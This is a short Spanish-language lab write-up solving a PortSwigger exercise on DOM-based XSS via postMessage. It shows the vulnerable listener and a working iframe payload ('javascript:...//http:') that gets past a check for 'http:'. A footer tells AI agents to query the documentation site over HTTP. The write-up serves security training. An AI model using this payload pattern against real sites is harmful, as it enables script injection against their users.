# Lab 2: DOM XSS using web messages and a JavaScript URL

El aplicativo web tiene en el código HTML lo siguiente:

```html
<script>
window.addEventListener('message', function(e) {
  var url = e.data;
  if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
  }
}, false);
</script>
```

Creamos un aplicativo web con el siguiente codigo:

{% code overflow="wrap" %}

```html
<iframe src="https://0af400be04bea2368159757100070042.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:alert(2024)//http:','*')">
```

{% endcode %}

Y luego de lo anterior:

<figure><img src="/files/U70brxx8PqkhtFJiYbrx" alt=""><figcaption></figcaption></figure>

Es importante resaltar, que el script valida o busca la existencia de la siguiente palabra: `http:`

Si esta no se encuentra presente no se desplegara el XSS.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/web/dom-based-vulnerabilities/lab-2-dom-xss-using-web-messages-and-a-javascript-url.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
